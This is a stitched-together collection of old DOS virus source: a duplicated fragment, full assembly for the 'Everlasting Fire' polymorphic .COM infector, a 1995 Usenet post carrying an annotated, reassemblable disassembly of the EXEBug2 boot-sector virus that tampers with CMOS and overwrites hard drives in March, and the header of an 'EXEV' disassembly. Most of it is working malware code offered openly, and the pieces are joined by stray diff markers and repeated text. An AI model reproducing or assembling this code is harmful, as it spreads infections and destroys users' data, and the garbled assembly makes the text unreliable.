Encr0 Db 'John Tardy'
Encr0Len Equ $-Encr0
CallPtr Db 0e9h,0,0
FileSpec Db '*.CoM',0
OrgPrg: Int 20h
Db '!'
CryptLen Equ $-Crypt
VirLen Equ $-Decr
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄ> ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? <ÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
@@ -0,0 +1,231 @@
;
; Everlasting Fire Virus by John Tardy
;
Org 100h
Jump: Jmp Virus
Decr:
Instr: db 'Generation'
Loopje DB 0e2h
db 0fah
DecrLen Equ $-Decr
Crypt:
Virus: Push Ax
Call GetOfs
GetOfs: Pop Ax
Sub Ax,GetOfs
Mov Bp,Ax
Lea Si,OrgPrg[BP]
Mov Di,100h
Movsw
Movsb
Mov Ah,1ah
Mov Dx,0f900h
Int 21h
Mov Ah,4eh
Search: Lea Dx,FileSpec[BP]
Xor Cx,Cx
Int 21h
Jnc Found
Ready: Mov Ah,1ah
Mov Dx,80h
Int 21h
Mov Bx,100h
Pop Ax
Push Bx
Ret
Found: Mov Ax,4300h
Mov Dx,0f91eh
Int 21h
Push Cx
Mov Ax,4301h
Xor Cx,Cx
Int 21h
Mov Ax,3d02h
Int 21h
Mov Bx,5700h
Xchg Ax,Bx
Int 21h
Push Cx
Push Dx
And Cx,1fh
Cmp Cx,1
Jne CheckExe
Jmp ExeFile
CheckExe: Mov Ah,3fh
Lea Dx,OrgPrg[BP]
Mov Cx,3
Int 21h
Mov Ax,Cs:[OrgPrg][BP]
Cmp Ax,'MZ'
Je ExeFile
Cmp Ax,'ZM'
Je ExeFile
Pop Dx
Pop Cx
And Cx,0ffe0h
Or Cx,1
Push Cx
Push Dx
Infect:
Mov Ax,4202h
Call FSeek
Sub Ax,3
Mov Cs:CallPtr[BP]+1,Ax
Add Ax,Offset Crypt
Mov S_1[Bp+1],Ax
Mov S_2[Bp+1],Ax
Mov S_3[Bp+4],Ax
Mov S_4[Bp+4],Ax
Call GenPoly
Mov Ah,40h
Lea Dx,0fa00h
Mov Cx,VirLen
Int 21h
Mov Ax,4200h
Call FSeek
Mov Ah,40h
Lea Dx,CallPtr[BP]
Mov Cx,3
Int 21h
Call Close
Jmp Ready
ExeFile: Call Close
Mov Ah,4fh
Jmp Search
FSeek: Xor Cx,Cx
Xor Dx,Dx
Int 21h
Ret
Close: Pop Si
Pop Dx
Pop Cx
Mov Ax,5701h
Int 21h
Mov Ah,3eh
Int 21h
Mov Ax,4301h
Pop Cx
Mov Dx,0fc1eh
Int 21h
Push Si
Ret
Db 13,10,'Mourners of a dying world'
Db 13,10,'Too late to reconcile'
Db 13,10,'Into Everlasting Fire'
Db 13,10,'Can''t you see it''s Satan''s world'
GenPoly: Xor Byte Ptr [Loopje][Bp],2
Xor Ax,Ax
Mov Es,Ax
Mov Ax,Es:[46ch]
; Xor Ax,Ax ; DEZE ERUIT!!!
Mov Es,Cs
Push Ax
And Ax,07ffh
Add Ax,CryptLen
Mov S_1[Bp+4],Ax
Mov S_2[Bp+4],Ax
Mov S_3[Bp+1],Ax
Mov S_4[Bp+1],Ax
Doit: Pop Ax
Push Ax
And Ax,3
Shl Ax,1
Mov Si,Ax
Mov Ax,Word Ptr Table[Si][Bp]
Add Ax,Bp
Mov Si,Ax
Lea Di,Instr[Bp]
Movsw
Movsw
Movsw
Movsw
Pop Ax
Stosb
Movsb
Mov Dl,Al
Lea Si,Decr[BP]
Mov Di,0fa00h
Mov Cx,DecrLen
Rep Movsb
Lea Si,Crypt[BP]
Mov Cx,CryptLen
Encrypt: Lodsb
Xor Al,Dl
Stosb
Loop Encrypt
Cmp Dl,0
Je Fuckit
Ret
FuckIt: Lea Si,Encr0
Mov Di,0fa00h
Mov Cx,Encr0Len
Rep Movsb
Mov Ax,Cs:CallPtr[BP]+1
Add Ax,Encr0Len+2
Mov Cs:CallPtr[BP]+1,Ax
Ret
DB 'TRIDENT'
Table DW Offset S_1
DW Offset S_2
DW Offset S_3
DW Offset S_4
S_1: Lea Si,0
Mov Cx,0
DB 80h,34h
Inc Si
S_2: Lea Di,0
Mov Cx,0
DB 80h,35h
Inc Di
S_3: Mov Cx,0
Lea Si,0
DB 80h,34h
Inc Si
S_4: Mov Cx,0
Lea Di,0
DB 80h,35h
Inc Di
Encr0 Db 'John Tardy'
Encr0Len Equ $-Encr0
CallPtr Db 0e9h,0,0
FileSpec Db '*.CoM',0
OrgPrg: Int 20h
Db '!'
CryptLen Equ $-Crypt
VirLen Equ $-Decr
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄ> ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? <ÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
@@ -0,0 +1,673 @@
From smtp Tue Feb 7 13:18 EST 1995
Received: from lynx.dac.neu.edu by POBOX.jwu.edu; Tue, 7 Feb 95 13:18 EST
Received: by lynx.dac.neu.edu (8.6.9/8.6.9)
id NAA25457 for joshuaw@pobox.jwu.edu; Tue, 7 Feb 1995 13:20:39 -0500
Date: Tue, 7 Feb 1995 13:20:39 -0500
From: lynx.dac.neu.edu!ekilby (Eric Kilby)
Content-Length: 44201
Content-Type: binary
Message-Id: <199502071820.NAA25457@lynx.dac.neu.edu>
To: pobox.jwu.edu!joshuaw
Subject: (fwd) EXEBug
Newsgroups: alt.comp.virus
Status: O
Path: chaos.dac.neu.edu!usenet.eel.ufl.edu!news.bluesky.net!news.sprintlink.net!uunet!ankh.iia.org!danishm
From: danishm@iia.org ()
Newsgroups: alt.comp.virus
Subject: EXEBug
Date: 5 Feb 1995 22:08:52 GMT
Organization: International Internet Association.
Lines: 641
Message-ID: <3h3i9k$v4@ankh.iia.org>
NNTP-Posting-Host: iia.org
X-Newsreader: TIN [version 1.2 PL2]
Here is the EXEBug virus:
;-------------------------------------------------------------------------
.286p ; The EXEBUG2 Virus. This virus
.model tiny ; infects diskette boot sectors and
.code ; activates in March of any year,
; destroying the hard drive. It
ORG 0100h ; contains instructions for 80286+
; processors.
;---------------------------------------;---------------------------------
; As of Apr 21st, this disassembly is ; Disassembled with Master Core
; incomplete, as the test computer uses ; Disassembler: IQ Software
; Disk Manager and can not be infected. ; Analyzed with Quaid Analyzer:
; ; Quaid Software Ltd.
;-------------------------------------------------------------------------
; We are using an origin of 100h, so that this can be assembled with TASM
; and linked with tlink /t. You will have a 512 byte .COM file which is
; a byte-for-byte duplicate of the original boot sector. Note that 100h
; must be subtracted from many of the offsets.
;-------------------------------------------------------------------------
;Offset Opcode |Comment
;---------------------------------
Boot_Start: ;00100 EB1C
;---------------------------------
JMP Short Change_RAM ; Boot sectors always begin with
; a long jump (E9 XX XX) or a short
; jump (EB XX 90)
;---------------------------------
NOP ;00102 90 |NOP for short jump
;---------------------------------------; |
; Data in Code Area ; |
;---------------------------------------; |
OEM DB "MSDOS5.0" ;00103 4D53444F|OEM name
Byt_Sec DW 0200h ;0010B 0002 |Bytes per sector
Sct_AlU DB 02h ;0010D 02 |Sectors per
; | allocation unit
RsvdSct DW 0001h ;0010E 0100 |Reserved sectors
NumFATs DB 02h ;00110 02 |Number of FATs
RootSiz DW 0070h ;00111 7000 |Number of root dir
; | entries (112)
TotSect DW 02D0h ;00113 D002 |Total sectors in
; | volume (1440)
MedDesc DB 0FDh ;00115 FD |Media descriptor
; | byte:
;---------------------------------
; F8 = hard disk
; F0 = 3«" 18 sector
; F9 = 3«" 9 sector
; F9 = 5¬" 15 sector
; FC = 5¬" SS 9 sector
; FD = 5¬" DS 9 sector
; FE = 5¬" SS 8 sector
; FF = 5¬: DS 8 sector
;---------------------------------
FATSect DW 0002h ;00116 0200 |Sectors per FAT
Sct_Trk DW 0009h ;00118 0900 |Sectors per track
NumHead DW 0002h ;0011A 0200 |Number of heads
aDrvNum DW 0000h ;0011C 0000 |Drive number (0=A:)
;---------------------------------------;---------------------------------
; |
Change_RAM: ; |
; |
XOR AX,AX ;0011E 33C0 |Zero register
MOV DS,AX ;00120 8ED8 |DS = 0000
MOV DI,AX ;00122 8BF8 |DI = 0000
MOV SS,AX ;00124 8ED0 |SS = 0000
MOV SP,7C00h ;00126 BC007C |SP = 7C00
;---------------------------------
; Get RAM size (usually 64*10 K)
; and put it in register AX.
Get_RAM_Size: ;---------------------------------
; |
MOV AX,Word Ptr DS:[0413h] ;00129 A11304 |0000:0413 holds
; | RAM size
MOV CX,0106h ;0012C B90601 |This does two things:
; |it sets up a MOVSW,
; |and it puts a 6 in
; |CL for the SAL,CL
DEC AX ;0012F 48 |Steal 1K of RAM
; | (decrease RAM size)
MOV SI,SP ;00130 8BF4 |SI is 7C00. Use to
; | move boot sector
; | in Copy_Boot routine.
;---------------------------------
; RAM size is now 1K less; put it
; in DS:0413h (RAMsize)
Put_RAM_Size: ;---------------------------------
; |
MOV Word Ptr DS:[0413h],AX ;00132 A31304 |Put the new RAM
; | size back in [0413]
SAL AX,CL ;00135 D3E0 |Convert to paragraphs
;-------------------------------------------------------------------------
; AX now holds the SEGMENT of the new Int 13 service routine at TOM - 1K.
; Next operation exchanges this with the old Int 13 segment stored at 0000:004E.
;-------------------------------------------------------------------------
; |
MOV ES,AX ;00137 8EC0 |ES = new area SEGMENT
PUSH AX ;00139 50 |Save SEGMENT address
; | on stack. Jump here
; | at offset 0152.
XCHG AX,DS:[004Eh] ;0013A 87064E00|Exchange new and old
; | SEGMENTS
;---------------------------------
MOV Word Ptr DS:[7C00h+offset I13_Seg - 100h],AX
;---------------------------------
;0013E A3B87C |This really should be:
; |[7C00h+offset I13_Seg],
; |but we use an ORG of
; |100h here.
; <Store old SEGMENT at 7CB8>
;---------------------------------
MOV AX,offset New_Int13_ISR - 100h
;---------------------------------
;00141 B83201 |Likewise the offset
; |of the new Int 13
; |service routine is
; |decremented by 100h
;------------------------------------------------------------------------
; AX now holds the OFFSET of the new Int 13 service routine, which is
; in our code at offset 232h. Next operation exchanges this with the
; the offset stored at 0000:004C.
;------------------------------------------------------------------------
; |
XCHG AX,DS:[004Ch] ;00144 87064C00|Exchange new and old
; | OFFSETS
;---------------------------------
MOV Word Ptr DS:[7C00h+offset I13_Off - 100h],AX
;---------------------------------
;00148 A3B67C |Again, decrement by
; | 100h to compensate
; | for ORG 100h
; <Store old OFFSET at 7CB6>
;---------------------------------
MOV AX,[offset Activation - 100h]
;---------------------------------
;0014B B89900 |Move offset of
; |Activation routine
; |to AX.
PUSH AX ;0014E 50 |Push the Activation
; |address, and then
; |use that as the
; |OFFSET when we RETF
; |at offset 0152.
Copy_Boot: ;---------------------------------
; |
CLD ;0014F FC |movsb will increment
; |pointers cx=0106h
; |ds=0000h sp=7C00h
; |si=7C00h di=0000h
; |Repeat until Zero
; |Flag=0 or CX Times
; |
REP MOVSW ;00150 F3A5 |MOVE DS:SI TO ES:DI
;---------------------------------
; Move virus up to the memory we have
; allocated, and set the INT handler.
;---------------------------------
; |
RETF ;00152 CB |The segment and
; |offset of the
; |Activation routine
; |were pushed on the
; |stack previously, so
; |a RETF jumps there
; |(at top of memory)
;>>>>>>>>>>>>>>>|JUMP TO ACTIVATION
;---------------------------------------;---------------------------------
; |
DB 04h ;00153 04 |
Drive DB 20h ;00154 20 |CMOS drive type (AH),
; | is stored here.
ChkSum DW 046Ch ;00155 6C04 |CMOS checksum (DX),
; | is stored here.
Install DB 01h ;00157 01 |This byte is checked
; | at offset 294. It is
; | used for the value
; | of CX when the boot
; | record is written
; | (starting sector)
; | Values are 1 or 11h.
;-------------------------------------------------------------------------
; The code (or is it data?) below from offsets 0158 to 0198 is not analyzed,
; as I could not get an infection on the test computer.
;-------------------------------------------------------------------------
SUB [BX+SI],CH ;00158 2828 |
ADD [BX+DI],AL ;0015A 0001 |
ADD AL,[BP+1Eh] ;0015C 02461E
; ADD AL,[BP+offset Change_RAM-100h]
PUSH CX ;0015F 51 |
MOV DL,65h ;00160 B265 |
MOV DI,DX ;00162 8BFA |
DEC AL ;00164 FEC8 |
STOSW ;00166 AB |STORE Word STRING
; | FROM AX
ADD DI,+04h ;00167 83C704 |
XOR AL,0C0h ;0016A 34C0 |
STOSW ;0016C AB |
MOV CL,0Bh ;0016D B10B |cl=0Bh dl=65h
REP STOSB ;0016F F3AA |STORE 0Bh Bytes
; | STRING FROM AL
MOV CL,13h ;00171 B113 |
MOV BH,03h ;00173 B703 |
CALL $-170h ;00175 E88DFE |This calls offset
; |7B05 in this segment.
MOV AH,13h ;00178 B413 |
INT 2Fh ;0017A CD2F |Get & set DOS disk
; |int handler
; |ds:dx=new handler,
; |es:bx=old
MOV CS:[01B8h],DS ;0017C 2E8C1E |
; B801 |
; |
MOV CX,DX ;00181 8BCA |
INT 2Fh ;00183 CD2F |Set it again
MOV DS:[01B6h],CX ;00185 890EB601|
CMP CL,32h ;00189 80F932 |
JZ H0000_0198 ;0018C 740A |Return if CL=32h
MOV CX,CS ;0018E 8CC9 |
ADD CX,+10h ;00190 83C110 |
PUSH CX ;00193 51 |
MOV AX,00FDh ;00194 B8FD00 |
PUSH AX ;00197 50 |
; |
H0000_0198: ;---------------------------------
; |
RETF ;00198 CB |
;---------------------------------------;---------------------------------
; |
Activation: ; |
; |
CALL Main_Routine ;00199 E86800 |
MOV AH,04h ;0019C B404 |AH=4 (get date)
INT 1Ah ;0019E CD1A |Get date
; |CX=year, DX=mon/day
CMP DH,03h ;001A0 80FE03 |Is it month #3
JZ Damage ;001A3 7402 |If it is March,
; | do damage
INT 19h ;001A5 CD19 |Otherwise reboot
; | with virus resident
; | and Int 13 hooked
;---------------------------------------;---------------------------------
; Set up Int 13 call from the new
Damage: ; ISR at I13_Seg:I13_Off.
;---------------------------------
MOV AL,0FFh ;001A7 B0FF |
OUT 21h,AL ;001A9 E621 |Turn off IRQs
MOV DX,0080h ;001AB BA8000 |DH = head # (0),
; |DL = drive #
; | (+80 for hd)
MOV CX,0101h ;001AE B90101 |CH = cylinder #,
; |CL = sector #
Trash_HardDrive: ;---------------------------------
; |
MOV AX,0311h ;001B1 B81103 |AH = function 03
; | (write sectors)
; |AL = # of sectors
PUSHF ;001B4 9C |Push flags: normally
; | done prior to
; | interrupt.
FarCall DB 9Ah ;001B5 9A |Call the Int 13
; | service routine
I13_Off DW 0AB1Bh ;001B6 1BAB |(real) Int 13 offset
I13_Seg DW 0F000h ;001B8 00F0 |(real) Int 13 segment
INC DH ;001BA FEC6 |Next head
AND DH,07h ;001BC 80E607 |Test bits 0-3 of DH,
; | clear 4-7
JNZ Trash_HardDrive ;001BF 75F0 |If #head > 7
; |continue, else trash
INC CH ;001C1 FEC5 |Next cylinder
JNZ Trash_HardDrive ;001C3 75EC |If #cylinder > 255
; | continue, else keep
; | on trashing.
ADD CL,40h ;001C5 80C140 |Set bits 6 and 7 of
; | CL, enabling the
; | entire drive to be
; | overwritten (or at
; |least 1024 cylinders)
JMP Short Trash_HardDrive ;001C8 EBE7 |Only way out of this
; | is a disk error, or
; | power off.
;--------------------------------------------------------------------------
;At this point, it is important to
Change_CMOS: ;know what the contents of DX is.
; CMOS checksums are stored at
; DS:0053 and DS:0055
;--------------------------------------------------------------------------
MOV AL,10h ;001CA B010 |Diskette type
CALL CMOS_Read_Write ;001CC E80700 | SET DISKETTE TYPE
MOV AL,2Fh ;001CF B02F |Hi checksum byte
CALL CMOS_Read_Write ;001D1 E80200 | SET CHECKSUM: set
; | to zero or restore
MOV AL,2Eh ;001D4 B02E |Low checksum byte
; | SET CHECKSUM: set
; | to zero or restore
CMOS_Read_Write: ;---------------------------------
; |
OUT 70h,AL ;001D6 E670 |Tell CMOS address
; | to read (in AL)
XCHG AH,DL ;001D8 86E2 |1st call: AH=DL=00
; |2nd call: AH=DL=00
; |3rd call: AH=20,DL=00
; |4th call: AH=5F,DL=00
; |5th call: AH=02,DL=5F
; |6th call: AH=00,DL=02
; |
XCHG DL,DH ;001DA 86D6 |1st call: DH=DL=00
; |2nd call: DH=00,DL=20
; |3rd call: DH=00,DL=7F
; |4th call: DH=00,DL=02
; |5th call: DH=5F,DL=00
; |6th call: DH=02,DL=00
; |
IN AL,71h ;001DC E471 |Read CMOS to AL
; |1st call: AL=20
; |2nd call: AL=7F
; |3rd call: AL=02
; |4th call: AL=00
; |5th call: AL=00
; |6th call: AL=00
; |
XCHG DH,AL ;001DE 86F0 |Trade AL <-> DH
; |1st call: DH=20,AL=00
; |2nd call: DH=7F,AL=00
; |3rd call: DH=02,AL=00
; |4th call: DH=00,AL=00
; |5th call: DH=00,AL=5F
; |6th call: DH=00,AL=02
; |
OUT 71h,AL ;001E0 E671 |Write contents of
; | AL to CMOS
; |1st call: AL=00
; |2nd call: AL=00
; |3rd call: AL=00
; |4th call: AL=00
; |5th call: AL=5F
; |6th call: AL=02
; |
RET ;001E2 C3 |Return to Call_CMOS
;---------------------------------------;---------------------------------
; |
Setup_Int13: ; |
; |
MOV AX,0301h ;001E3 B80103 |Function #3: write
; | (1) sector
Real_Int13_2: ;---------------------------------
; |
CALL Restore_CMOS ;001E6 E80500 |Restore original CMOS
PUSHF ;001E9 9C |Prepare for interrupt
;---------------------------------
;DO THE INTERRUPT 13
CALL DWord Ptr DS:[I13_Off-100h] ;Subtract 100h from
; offset of old Int 13
;001EA FF1EB600| vector and then call
; | it as a DWord (i.e.
; | as Segment:Offset)
; | Standard Int 13
; | resets and repeats
; | 3 times if carry
; | flag not clear.
Restore_CMOS: ;---------------------------------
; |
CALL Xchg_Old_New ;001EE E80300 |
CALL Change_CMOS ;001F1 E8D6FF |
; |
Xchg_Old_New: ;---------------------------------
; |
XCHG AX,DS:[0053h] ;001F4 87065300|
XCHG DX,DS:[0055h] ;001F8 87165500|
RET ;001FC C3 |
;---------------------------------------;---------------------------------
; |
Jump_From_Boot: ; |
; |
CALL Main_Routine ;001FD E80400 |
; CALL 0204h |
; |
CALL Restore_CMOS ;00200 E8EBFF |Call 01EEh
;-------------------------------;---------------------------------
;RETF ; |This must be assembled
; |as DB 0CBh, otherwise
DB 0CBh ;00203 CB |the assembler emits
; |CA CB 00.
;---------------------------------------;---------------------------------
; |Diddle CMOS. Read
Main_Routine: ;00204 |boot with new Int13.
; |
;-------------------------------------------------------------------------
; |
; (64 Bytes) FFEEDDCC BBAA9988 77665544 33221100 |This is the original
; -------- -------- -------- -------- |CMOS setting.
; CMOS IS NOW: 00008050 02269303 28000016 00200027 |
; 00000000 0000310D 80028003 00F00020 <--|diskette drive(s) type
; Checksum --> 7F021A04 01000009 04000000 00000000 |Bits 7-4: drive 0
; is 7F02 00000001 01000000 00000000 80190D80 |Bits 3-0: drive 1
; | 0000b = no drive
; | 0001b = 360K
; | 0010b = 1.2 MB
; | 0011b = 720K
; | 0100b = 1.44 MB
; |so in this case there
; |is one 1.2 meg drive
; |and no 'B' drive
;-------------------------------------------------------------------------
; |Put address of
CMOS_0: ; | hidden memory on
PUSH CS ;00204 0E | stack and then pop
POP DS ;00205 1F | it into DS.
MOV ES,CX ;00206 8EC1 |Zero ES
CALL Change_CMOS ;00208 E8BFFF |AX=0099,DX=0000
;-------------------------------------------------------------------------
;
; CMOS CHANGED: 00008050 02269303 28000017 00420002
; 00000000 0000310D 80028003 00F00000 <-NOTE CHANGE
; NOTE CHANGE-> 00001A04 01000009 04000000 00000000 No drive
; No checksum 00000001 01000000 00000000 80190D80
;
;-------------------------------------------------------------------------
; |Now the drive type
CMOS_1: ; | and checksum are 00
MOV AL,AH ;0020B 8AC4 |AX=2020
AND AL,0F0h ;0020D 24F0 |AX=2020
JZ Calc_ChkSum ;0020F 7408 |Is zero flag set?
MOV DS:[0055h],DX ;00211 89165500|Store checksum in
; | DS:[0055]
MOV DS:[0054h],AH ;00215 88265400|Store drive type
; | in DS:[0054]
Calc_ChkSum: ;---------------------------------
; |
AND AH,0Fh ;00219 80E40F |Clears high bits
; | AX=0020
SUB DL,AL ;0021C 2AD0 |DX=025F
SBB DH,00h ;0021E 80DE00 |DX=025F
CALL Change_CMOS ;00221 E8A6FF |AX=0020, DX=025F
;-------------------------------------------------------------------------
;
; CMOS CHANGED: 00008050 02269303 28000018 00030041
; 00000000 0000310D 80028003 00F00000
; NOTE CHANGE-> 5F021A04 01000009 04000000 00000000
; 00000001 01000000 00000000 80190D80
;
;-------------------------------------------------------------------------
; |
CMOS_2: ; |
MOV DL,80h ;00224 B280 | DL = 80
; |
Read_Boot: ;---------------------------------
; |
MOV CX,0001h ;00226 B90100 | CX = 0001
MOV DH,CH ;00229 8AF5 | DH = 00
POP AX ;0022B 58 | Pop return offset
PUSHF ;0022C 9C | Push flags
PUSH CS ;0022D 0E | Save segment
PUSH AX ;0022E 50 | Save offset
MOV AX,0201h ;0022F B80102 | AX = 0201 (read
; | one sector)
;
New_Int13_ISR: ;___ New Int 13 Service Routine ___
;
CLD ;00232 FC |Clear direction flag
PUSH DS ;00233 1E |
PUSH SI ;00234 56 |
PUSH DI ;00235 57 |Save some registers
PUSH CX ;00236 51 |
PUSH AX ;00237 50 |
PUSH CS ;00238 0E |
POP DS ;00239 1F |DS = CS
CMP AH,03h ;0023A 80FC03 |Is it a function 3
; | (write disk) call?
JNZ Real_Int13_1 ;0023D 7521 |No, so do real Int 13
CMP Byte Ptr ES:[BX],4Dh ;0023F 26803F4D|Yes, but is ES:[BX]=4D?
JNZ Real_Int13_1 ;00243 751B |No, so do real Int13
OR AH,DL ;00245 0AE2 |Yes, but which drive?
CMP CL,AH ;00247 3ACC |Is drive OK??
JNZ Real_Int13_1 ;00249 7515 |No, so do real Int13
MOV DI,BX ;0024B 8BFB |Yes, buffer is [4D]
MOV SI,00A7h ;0024D BEA700 |
MOV CX,01FEh ;00250 B9FE01 |Going to move 1FE words
AND DL,DL ;00253 22D2 |Is it drive #0 (A:)?
JNZ H0000_025E ;00255 7507 |No, so move 'em
MOV SI,0002h ;00257 BE0200 |Yes, SI = 0002
MOV AX,5CEBh ;0025A B8EB5C |Move value in AX
STOSW ;0025D AB | to ES:[4D]
; |
H0000_025E: ;---------------------------------
; |cx=01FEh,ds=0000h
; |si=0002h Move 1FE
REP MOVSB ; | words from DS:SI
;0025E F3A4 | to ES:DI
Real_Int13_1: ;---------------------------------
; |
POP AX ;00260 58 |Restore registers
POP CX ;00261 59 |
POP DI ;00262 5F |
MOV SI,AX ;00263 8BF0 |SI=function,subfn
CALL Real_Int13_2 ;00265 E87EFF |When done go to
; | Return_here.
Return_Here: ;---------------------------------
; |
JB Int13_Error ;00268 721D |If Int 13 returned
; | error go to err rtn
PUSH DI ;0026A 57 |Save registers
PUSH AX ;0026B 50 |
OR DH,DH ;0026C 0AF6 |Was drive A: target?
JNZ Exit_Virus ;0026E 7514 |Yes, Exit_Virus
CMP CX,+01h ;00270 83F901 |Was it a 1 sector
; | operation?
JNZ Exit_Virus ;00273 750F |No, Exit_Virus
MOV AX,SI ;00275 8BC6 |Restore Int 13
; | function, sub fn
CMP AH,02h ;00277 80FC02 |Was it a read fn?
JZ Int13_Read ;0027A 7410 |
CMP AH,03h ;0027C 80FC03 |
JNZ Exit_Virus ;0027F 7503 |
; |
Read_New_Boot: ;---------------------------------
; |This pushes the
CALL Read_Boot ;00281 E8A2FF | address of
; | Read_Boot on stack
Exit_Virus: ;---------------------------------
; |
CLC ;00284 F8 |
POP AX ;00285 58 |Restore registers
POP DI ;00286 5F |
; |
Int13_Error: ;---------------------------------
; |
POP SI ;00287 5E |
POP DS ;00288 1F |
RETF 0002h ;00289 CA0200 |Return to address
; | on stack. Discard
; | next two bytes on
; | stack. This
; | eventually gets us
; | to offset 19C (check
; | activation & reboot)
;---------------------------------------;---------------------------------
Int13_Read: ; |
; |
PUSH CX ;0028C 51 |Push # sectors
CMP Byte Ptr ES:[BX+28h],7Ch;0028D 26807F |Compare [0000:7C28]
; 287C | with 7C. (Boot
; | record offset 28).
JNZ Boot_Changed ;00292 750D |If no, then the
; | boot record changed.
;00294 268B8F |MOV CX,ES:[BX+0057h]
; 5700 |
;
MOV CX,ES:[BX + word ptr Install - 100h] ;Move starting sector
; to CX
MOV AL,01h ;00299 B001 |
CALL Real_Int13_2 ;0029B E848FF |
; |
HD_Exit: ;---------------------------------
; |
POP CX ;0029E 59 |
JMP Short Exit_Virus ;0029F EBE3 |
;---------------------------------------;---------------------------------
Boot_Changed: ; |
; |
PUSH DX ;002A1 52 |Save drive info
MOV CL,11h ;002A2 B111 |CX=0011 (Changed)
TEST DL,80h ;002A4 F6C280 |Is it a hard drive?
JNZ Hard_Drive ;002A7 7534 |Yes, goto Hard_Drive
MOV CH,28h ;002A9 B528 |
CMP Byte Ptr ES:[BX+15h],0FCh;002AB 26807F |
; 15FC |
JNB H0000_02B4 ;002B0 7302 |
SAL CH,1 ;002B2 D0E5 |
; |
H0000_02B4: ;---------------------------------
; | This code not
PUSH ES ;002B4 06 | analyzed as of
PUSH BX ;002B5 53 | April 21st.
XOR AX,AX ;002B6 33C0 |
MOV ES,AX ;002B8 8EC0 |
LES BX,DWord Ptr ES:[0078h] ;002BA 26C41E |
; 7800 |
; |Load ES & operand
; | from memory
PUSH ES ;002BF 06 |
PUSH BX ;002C0 53 |
INC AL ;002C1 FEC0 |
MOV CL,AL ;002C3 8AC8 |
XCHG CL,ES:[BX+04h] ;002C5 26864F04|
MOV AH,05h ;002C9 B405 |
MOV BX,0059h ;002CB BB5900 |
MOV [BX],CH ;002CE 882F |
PUSH CS ;002D0 0E |
POP ES ;002D1 07 |
CALL Real_Int13_2 ;002D2 E811FF |
POP BX ;002D5 5B |
POP ES ;002D6 07 |
XCHG CL,ES:[BX+04h] ;002D7 26864F04|
POP BX ;002DB 5B |
POP ES ;002DC 07 |
; |
Hard_Drive: ;---------------------------------
; |
CALL Setup_Int13 ;002DD E803FF |Prepare for Write
POP DX ;002E0 5A |Get drive info
JB HD_Exit ;002E1 72BB |On error exit
MOV DS:[0057h],CX ;002E3 890E5700|DS:[57]=11 (Changed)
MOV Word Ptr ES:[BX],1CEBh ;002E7 26C707 |[0000:7C00] now holds
; EB1C | EB 1C.
MOV SI,001Eh ;002EC BE1E00 |SI=001E
;-------------------------------;---------------------------------
;LEA DI,[BX+001Eh] ; |TASM will emit 8D7F1E
; |for this instruction,
DB 8Dh,0BFh,1Eh,00h ;002EF 8DBF1E00|so assemble as DB's
; |BX=7C00 SI=001E
; |ES=0000 DI=7C1E
;-------------------------------;---------------------------------
MOV CX,01E0h ;002F3 B9E001 |cx=01E0h si=001Eh
REP MOVSB ;002F6 F3A4 |Move DS:SI to ES:DI
; |Restore boot record
; | from ofs 7C00:001E
; | Note initial jump
; | restored to EB 1C.
POP CX ;002F8 59 |CX=number of sectors
CALL Setup_Int13 ;002F9 E8E7FE |Write the new boot
; | record.
JMP Short Read_New_Boot ;002FC EB83 |Read it and process.
;---------------------------------------;---------------------------------
Boot_ID DW 0AA55h ;002FE 55AA |All valid boot
; | sectors end with
; | 55AA
ENDS ;---------------------------------
; Disassembly by Arthur Ellis and ??
END Boot_Start ; [Suggestions by Lucifer Messiah]
; April, 1993
;-------------------------------------------------------------------------
--
Eric "Mad Dog" Kilby maddog@ccs.neu.edu
The Great Sporkeus Maximus ekilby@lynx.dac.neu.edu
Student at the Northeatstern University College of Computer Science
"I Can't Believe It's Not Butter"
@@ -0,0 +1,269 @@
PAGE 59,132
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ ÛÛ
;ÛÛ EXEV ÛÛ
;ÛÛ ÛÛ
;ÛÛ Created: 2-Jun-90 ÛÛ
;ÛÛ Version: ÛÛ
;ÛÛ Passes: 9 Analysis Options on: ABCDEFPX ÛÛ
;ÛÛ ÛÛ
;ÛÛ ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
